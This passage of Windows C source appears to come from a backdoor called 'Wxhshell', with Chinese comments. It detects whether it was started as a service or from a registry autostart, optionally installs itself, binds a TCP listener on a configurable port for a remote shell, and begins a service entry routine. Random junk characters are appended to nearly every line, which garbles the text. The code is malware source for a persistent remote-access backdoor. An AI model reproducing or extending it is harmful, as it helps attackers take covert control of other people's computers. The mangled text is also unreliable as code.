ULONG UniqueProcessId; uOqDJM'RM
ULONG InheritedFromUniqueProcessId; vS__*}^
} PROCESS_BASIC_INFORMATION; |F{E4mg(o
a(T4WDl^
PROCNTQSIP NtQueryInformationProcess; }M@Jrq+7
HwMsP$`q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }4]x"DfIg
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'wV26Dm
V="f)'S$
HANDLE hProcess; *LdH/C.LIf
PROCESS_BASIC_INFORMATION pbi; QO1Gq9
pytfsVM
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TFNU+
if(NULL == hInst ) return 0; y/VmjsN}
7$P(1D4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d6
EJn/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bO%ck-om!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UI|@5:J
!-nm7Q
if (!NtQueryInformationProcess) return 0; :Zo2@8@7
0 3 $
W
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @$}\S
if(!hProcess) return 0; r9*H-V$
l<_mag/j9o
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '6J$X-
Eakjsk
CloseHandle(hProcess); H4A+Dg,
3zF7V:XH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
C)}LV
if(hProcess==NULL) return 0; g7f%(W2dd
D|'Z c&
HMODULE hMod; jt?%03iuk
char procName[255]; "E!p1
unsigned long cbNeeded; a3IB, dr5P
^@"f%3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D ,^
U%<`
\ jdO,-(
CloseHandle(hProcess); 4tNgK[6M
8@
gD03
if(strstr(procName,"services")) return 1; // 以服务启动 *.Hnt\4|
~x|Sv4M
return 0; // 注册表启动 Qnh1su5
} Q 5TyS8
:u93yH6~8
// 主模块 r
T$g^
int StartWxhshell(LPSTR lpCmdLine) -z1o~~
{ V t;&2v
SOCKET wsl; >m{-&1Tx
BOOL val=TRUE; vA~hkkj{
int port=0; R$`T"C"
struct sockaddr_in door; o%Q2.
sJ()ItU5i
if(wscfg.ws_autoins) Install(); ~3]8f0^%m
[T|1 Qq7
port=atoi(lpCmdLine);
)dDmq
(:]iHg3
if(port<=0) port=wscfg.ws_port; WTN!2b
f\w4F'^tj
WSADATA data; -bQvJ`iF
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sOenR6J<$
* OFT)S
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o62gLO]z@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wj~8KHan
door.sin_family = AF_INET; hV>Ey^Ty
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^E*C~;^S
door.sin_port = htons(port); )A;<'{t #L
f89<o#bm7h
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 36UWoo
closesocket(wsl); Yb/^Qk59
return 1; :7*\|2zA
} wO
NQlt
^r$5];n
if(listen(wsl,2) == INVALID_SOCKET) { $yJfAR
closesocket(wsl); ga%77t|jm3
return 1; Q"uu&JC
} wu'60po
Wxhshell(wsl); izA3 INT
WSACleanup(); {+}Lc$O#C
IA^DfdZY
return 0; =2'^:4Z
6h8NrjX
} AlV2tffY^
VQ`O;n6/`
// 以NT服务方式启动 _~"3
LB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qpCi61lTDJ
{ JOk`emle
DWORD status = 0; "5bk82."
DWORD specificError = 0xfffffff; V4D&&0&n
VNPdL
serviceStatus.dwServiceType = SERVICE_WIN32; _95tgJ y
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9rz "@LM
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r&;AG@N/
serviceStatus.dwWin32ExitCode = 0; hw2Hn
serviceStatus.dwServiceSpecificExitCode = 0; r?*?iw2g
serviceStatus.dwCheckPoint = 0; d~%Rnic6*
serviceStatus.dwWaitHint = 0; bN)?szh&Y